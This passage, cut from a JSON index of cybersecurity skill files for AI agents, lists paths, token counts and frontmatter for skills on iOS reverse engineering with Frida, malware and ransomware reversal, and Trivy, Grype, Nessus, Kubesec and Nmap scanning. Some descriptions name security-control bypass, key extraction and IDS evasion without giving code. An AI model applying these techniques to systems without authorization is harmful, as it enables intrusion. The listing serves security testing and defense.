-->","frontmatter":{"name":"reverse-engineering-ios-app-with-frida","description":"Reverse engineers iOS applications using Frida dynamic instrumentation to understand internal logic, extract encryption keys, bypass security controls, and discover hidden functionality without source code access. Use when performing authorized iOS penetration testing, analyzing proprietary protocols, understanding obfuscated logic, or extracting runtime secrets from iOS binaries. Activates for requests involving iOS reverse engineering, Frida iOS hooking, Objective-C/Swift method tracing, or iOS binary analysis.\n","domain":"cybersecurity","subdomain":"mobile-security","author":"mahipal","tags":["mobile-security","ios","frida","reverse-engineering","owasp-mobile","penetration-testing"],"version":"1.0.0","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.AA-05","ID.RA-01","DE.CM-09"],"mitre_attack":["T1059","T1056","T1036","T1078","T1573"]},"isInternal":false,"tokens":2222,"sizeBytes":9366},{"name":"api-reference.md","path":"skills/reverse-engineering-malware-with-ghidra/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/reverse-engineering-malware-with-ghidra/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-malware-with-ghidra%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":649,"sizeBytes":2658},{"name":"SKILL.md","path":"skills/reverse-engineering-malware-with-ghidra/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/reverse-engineering-malware-with-ghidra/SKILL.md","title":"reverse-engineering-malware-with-ghidra","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-malware-with-ghidra%2FSKILL.md -->","frontmatter":{"name":"reverse-engineering-malware-with-ghidra","description":"Reverse engineers malware binaries using NSA's Ghidra disassembler and decompiler to study internal logic, cryptographic routines, C2 protocols, and evasion techniques at the assembly and pseudo-C level. Use when static or dynamic analysis flags suspicious functionality needing deeper code review, such as reversing C2 protocols, encryption algorithms, custom obfuscation, or a sample's exploit mechanism.\n","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware","reverse-engineering","Ghidra","disassembly","decompilation"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1027","T1055","T1140","T1497","T1070"]},"isInternal":false,"tokens":2911,"sizeBytes":12323},{"name":"template.md","path":"skills/reverse-engineering-ransomware-encryption-routine/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/reverse-engineering-ransomware-encryption-routine/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ransomware-encryption-routine%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":204,"sizeBytes":849},{"name":"api-reference.md","path":"skills/reverse-engineering-ransomware-encryption-routine/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/reverse-engineering-ransomware-encryption-routine/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ransomware-encryption-routine%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":500,"sizeBytes":1902},{"name":"standards.md","path":"skills/reverse-engineering-ransomware-encryption-routine/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/reverse-engineering-ransomware-encryption-routine/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ransomware-encryption-routine%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":334,"sizeBytes":1168},{"name":"workflows.md","path":"skills/reverse-engineering-ransomware-encryption-routine/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/reverse-engineering-ransomware-encryption-routine/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ransomware-encryption-routine%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":189,"sizeBytes":1698},{"name":"SKILL.md","path":"skills/reverse-engineering-ransomware-encryption-routine/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/reverse-engineering-ransomware-encryption-routine/SKILL.md","title":"reverse-engineering-ransomware-encryption-routine","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ransomware-encryption-routine%2FSKILL.md -->","frontmatter":{"name":"reverse-engineering-ransomware-encryption-routine","description":"Reverse engineer ransomware encryption routines to identify cryptographic algorithms, key generation flaws, and potential decryption opportunities using static and dynamic analysis.","domain":"cybersecurity","subdomain":"malware-analysis","tags":["ransomware","encryption","reverse-engineering","cryptanalysis","aes","rsa","decryption","malware-analysis"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Content Format Conversion","File Content Analysis","Platform Hardening","File Format Verification"],"nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1027","T1055","T1140","T1497","T1486"],"mitre_f3":{"version":"1.1","tactics":["monetization","positioning"],"techniques":[{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"},{"id":"F1047","name":"Transfer of funds","tactic":"monetization","source":"f3"},{"id":"T1219","name":"Remote Access Tools","tactic":"positioning","source":"attack"}]}},"isInternal":false,"tokens":2756,"sizeBytes":11062},{"name":"template.md","path":"skills/reverse-engineering-rust-malware/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/reverse-engineering-rust-malware/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-rust-malware%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":112,"sizeBytes":413},{"name":"api-reference.md","path":"skills/reverse-engineering-rust-malware/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/reverse-engineering-rust-malware/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-rust-malware%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":431,"sizeBytes":1694},{"name":"standards.md","path":"skills/reverse-engineering-rust-malware/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/reverse-engineering-rust-malware/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-rust-malware%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":75,"sizeBytes":301},{"name":"workflows.md","path":"skills/reverse-engineering-rust-malware/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/reverse-engineering-rust-malware/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-rust-malware%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":62,"sizeBytes":460},{"name":"SKILL.md","path":"skills/reverse-engineering-rust-malware/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/reverse-engineering-rust-malware/SKILL.md","title":"reverse-engineering-rust-malware","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-rust-malware%2FSKILL.md -->","frontmatter":{"name":"reverse-engineering-rust-malware","description":"Reverse engineers Rust-compiled malware using IDA Pro and Ghidra, covering techniques for non-null-terminated fat-pointer strings, monomorphized/duplicated generic code, Result/Option unwrap chains, crate dependency extraction, and Rust-specific control flow and calling conventions. Use when analyzing Rust-based malware samples (e.g. BlackCat/ALPHV, Hive, Buer Loader) or attack artifacts in an authorized, controlled environment.","domain":"cybersecurity","subdomain":"malware-analysis","tags":["rust","reverse-engineering","malware-analysis","ghidra","ida-pro","binary-analysis","rust-malware"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1027","T1055","T1140","T1497"]},"isInternal":false,"tokens":1683,"sizeBytes":7011},{"name":"template.md","path":"skills/scanning-container-images-with-grype/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-container-images-with-grype/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-container-images-with-grype%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":563,"sizeBytes":2160},{"name":"api-reference.md","path":"skills/scanning-container-images-with-grype/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-container-images-with-grype/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-container-images-with-grype%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":510,"sizeBytes":1769},{"name":"standards.md","path":"skills/scanning-container-images-with-grype/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-container-images-with-grype/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-container-images-with-grype%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":624,"sizeBytes":2544},{"name":"workflows.md","path":"skills/scanning-container-images-with-grype/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-container-images-with-grype/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-container-images-with-grype%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1116,"sizeBytes":4102},{"name":"SKILL.md","path":"skills/scanning-container-images-with-grype/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-container-images-with-grype/SKILL.md","title":"scanning-container-images-with-grype","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-container-images-with-grype%2FSKILL.md -->","frontmatter":{"name":"scanning-container-images-with-grype","description":"Scans container images, filesystems, and SBOMs for known CVEs with Anchore Grype, matching Syft-generated SBOM packages against NVD, GitHub Advisories, and OS-specific feeds with configurable severity thresholds and failure gates. Use when Grype or Syft is the chosen toolchain, when scanning an existing SBOM rather than an image, or when gating a build on severity. Keywords: Grype, Syft, SBOM, NVD, GitHub Advisory, --fail-on, severity threshold. Do not use when the toolchain is Trivy - use scanning-docker-images-with-trivy.","domain":"cybersecurity","subdomain":"container-security","tags":["grype","vulnerability-scanning","container-security","sbom","anchore","supply-chain"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525","T1195"]},"isInternal":false,"tokens":1586,"sizeBytes":5903},{"name":"template.md","path":"skills/scanning-containers-with-trivy-in-cicd/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-containers-with-trivy-in-cicd/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-containers-with-trivy-in-cicd%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1320,"sizeBytes":4949},{"name":"api-reference.md","path":"skills/scanning-containers-with-trivy-in-cicd/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-containers-with-trivy-in-cicd/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-containers-with-trivy-in-cicd%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":539,"sizeBytes":1951},{"name":"standards.md","path":"skills/scanning-containers-with-trivy-in-cicd/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-containers-with-trivy-in-cicd/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-containers-with-trivy-in-cicd%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":583,"sizeBytes":2729},{"name":"workflows.md","path":"skills/scanning-containers-with-trivy-in-cicd/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-containers-with-trivy-in-cicd/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-containers-with-trivy-in-cicd%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":987,"sizeBytes":4264},{"name":"SKILL.md","path":"skills/scanning-containers-with-trivy-in-cicd/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-containers-with-trivy-in-cicd/SKILL.md","title":"scanning-containers-with-trivy-in-cicd","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-containers-with-trivy-in-cicd%2FSKILL.md -->","frontmatter":{"name":"scanning-containers-with-trivy-in-cicd","description":"Integrates Aqua Security's Trivy scanner into CI/CD pipelines to detect OS package and application dependency CVEs, Dockerfile misconfigurations, and issues in filesystems or git repositories, and to enforce severity-based quality gates that block vulnerable images from being deployed. Use when building Docker images in CI/CD and needing automated vulnerability scanning and pass/fail gates before registry push or production deployment.\n","domain":"cybersecurity","subdomain":"devsecops","tags":["devsecops","cicd","trivy","container-security","vulnerability-scanning","secure-sdlc"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","GV.SC-07","ID.IM-04","PR.PS-04"],"mitre_attack":["T1195","T1554","T1059.004","T1610","T1611"]},"isInternal":false,"tokens":2747,"sizeBytes":10789},{"name":"template.md","path":"skills/scanning-docker-images-with-trivy/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-docker-images-with-trivy/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-docker-images-with-trivy%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":447,"sizeBytes":1698},{"name":"api-reference.md","path":"skills/scanning-docker-images-with-trivy/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-docker-images-with-trivy/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-docker-images-with-trivy%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":421,"sizeBytes":1633},{"name":"standards.md","path":"skills/scanning-docker-images-with-trivy/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-docker-images-with-trivy/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-docker-images-with-trivy%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":632,"sizeBytes":2517},{"name":"workflows.md","path":"skills/scanning-docker-images-with-trivy/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-docker-images-with-trivy/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-docker-images-with-trivy%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":937,"sizeBytes":3689},{"name":"SKILL.md","path":"skills/scanning-docker-images-with-trivy/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-docker-images-with-trivy/SKILL.md","title":"scanning-docker-images-with-trivy","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-docker-images-with-trivy%2FSKILL.md -->","frontmatter":{"name":"scanning-docker-images-with-trivy","description":"Scans a Docker image with Trivy for vulnerabilities in OS packages and language dependencies, misconfiguration, exposed secrets, and licence violations, emitting SARIF, CycloneDX, or SPDX output. Use when scanning or gating a specific image, wiring an image scan into CI/CD, or checking an image during an incident investigation. Keywords: Trivy, image scan, --severity, --exit-code, SARIF, ignore file, .trivyignore. Do not use for cluster-wide scanning or non-image targets - use performing-container-security-scanning-with-trivy; when the toolchain is Grype use scanning-container-images-with-grype.","domain":"cybersecurity","subdomain":"container-security","tags":["containers","docker","security","trivy","vulnerability-scanning"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525","T1190"]},"isInternal":false,"tokens":1997,"sizeBytes":7588},{"name":"api-reference.md","path":"skills/scanning-iac-and-images-with-trivy/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-iac-and-images-with-trivy/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-iac-and-images-with-trivy%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":853,"sizeBytes":2940},{"name":"standards.md","path":"skills/scanning-iac-and-images-with-trivy/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-iac-and-images-with-trivy/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-iac-and-images-with-trivy%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":347,"sizeBytes":1424},{"name":"SKILL.md","path":"skills/scanning-iac-and-images-with-trivy/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-iac-and-images-with-trivy/SKILL.md","title":"scanning-iac-and-images-with-trivy","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-iac-and-images-with-trivy%2FSKILL.md -->","frontmatter":{"name":"scanning-iac-and-images-with-trivy","description":"Scans container images, Infrastructure-as-Code (Terraform, CloudFormation, Kubernetes manifests, Dockerfile, Helm), filesystems, git repos, and SBOMs with Trivy's vuln, misconfig, secret, and license scanners. Use when building a CI/CD security gate that scans images before push, IaC before apply, or SBOMs for supply-chain weaknesses, and fails the build on policy violations.","domain":"cybersecurity","subdomain":"devsecops","tags":["devsecops","trivy","container-security","vulnerability-scanning","iac-security","sbom","ci-cd","misconfiguration"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01"],"mitre_attack":["T1525"]},"isInternal":false,"tokens":2626,"sizeBytes":10499},{"name":"template.md","path":"skills/scanning-infrastructure-with-nessus/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-infrastructure-with-nessus/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-infrastructure-with-nessus%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1006,"sizeBytes":3695},{"name":"api-reference.md","path":"skills/scanning-infrastructure-with-nessus/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-infrastructure-with-nessus/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-infrastructure-with-nessus%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":573,"sizeBytes":1931},{"name":"standards.md","path":"skills/scanning-infrastructure-with-nessus/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-infrastructure-with-nessus/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-infrastructure-with-nessus%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":483,"sizeBytes":1940},{"name":"workflows.md","path":"skills/scanning-infrastructure-with-nessus/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-infrastructure-with-nessus/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-infrastructure-with-nessus%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":905,"sizeBytes":4515},{"name":"SKILL.md","path":"skills/scanning-infrastructure-with-nessus/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-infrastructure-with-nessus/SKILL.md","title":"scanning-infrastructure-with-nessus","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-infrastructure-with-nessus%2FSKILL.md -->","frontmatter":{"name":"scanning-infrastructure-with-nessus","description":"Tenable Nessus is the industry-leading vulnerability scanner used to identify security weaknesses across network infrastructure including servers, workstations, network devices, and operating systems.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["vulnerability-management","cve","nessus","tenable","infrastructure-scanning","risk"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068","T1046"]},"isInternal":false,"tokens":1628,"sizeBytes":6813},{"name":"template.md","path":"skills/scanning-kubernetes-manifests-with-kubesec/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-kubernetes-manifests-with-kubesec/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-kubernetes-manifests-with-kubesec%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":297,"sizeBytes":1130},{"name":"api-reference.md","path":"skills/scanning-kubernetes-manifests-with-kubesec/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-kubernetes-manifests-with-kubesec/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-kubernetes-manifests-with-kubesec%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":467,"sizeBytes":1807},{"name":"standards.md","path":"skills/scanning-kubernetes-manifests-with-kubesec/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-kubernetes-manifests-with-kubesec/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-kubernetes-manifests-with-kubesec%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":498,"sizeBytes":1875},{"name":"workflows.md","path":"skills/scanning-kubernetes-manifests-with-kubesec/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-kubernetes-manifests-with-kubesec/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-kubernetes-manifests-with-kubesec%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":520,"sizeBytes":2088},{"name":"SKILL.md","path":"skills/scanning-kubernetes-manifests-with-kubesec/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-kubernetes-manifests-with-kubesec/SKILL.md","title":"scanning-kubernetes-manifests-with-kubesec","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-kubernetes-manifests-with-kubesec%2FSKILL.md -->","frontmatter":{"name":"scanning-kubernetes-manifests-with-kubesec","description":"Scores Kubernetes resource manifests with Kubesec to flag misconfiguration and privilege-escalation risk before deployment, mapping each finding back to the securityContext change that fixes it. Use when gating manifests in CI, reviewing YAML or a rendered chart before it reaches a cluster, or explaining why a manifest scored negatively. Keywords: Kubesec, manifest score, securityContext, readOnlyRootFilesystem, runAsNonRoot, CI gate. Do not use for scanning built images for CVEs - use scanning-docker-images-with-trivy; for admission-time enforcement use implementing-opa-gatekeeper-for-policy-enforcement.","domain":"cybersecurity","subdomain":"container-security","tags":["kubesec","kubernetes","manifest-scanning","security-scanning","devsecops","misconfiguration","static-analysis","ci-cd"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525","T1068"]},"isInternal":false,"tokens":2259,"sizeBytes":9232},{"name":"api-reference.md","path":"skills/scanning-network-with-nmap-advanced/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-network-with-nmap-advanced/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-network-with-nmap-advanced%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":545,"sizeBytes":2076},{"name":"SKILL.md","path":"skills/scanning-network-with-nmap-advanced/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/scanning-network-with-nmap-advanced/SKILL.md","title":"scanning-network-with-nmap-advanced","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-network-with-nmap-advanced%2FSKILL.md -->","frontmatter":{"name":"scanning-network-with-nmap-advanced","description":"Performs advanced network recon using Nmap's Scripting Engine (NSE), timing controls, firewall/IDS evasion, and structured output parsing to discover hosts, enumerate service versions, detect vulnerabilities, and fingerprint OSes. Use during authorized penetration tests or enterprise asset-discovery assessments needing scan evasion, NSE vulnerability checks, or output fed into a vulnerability management 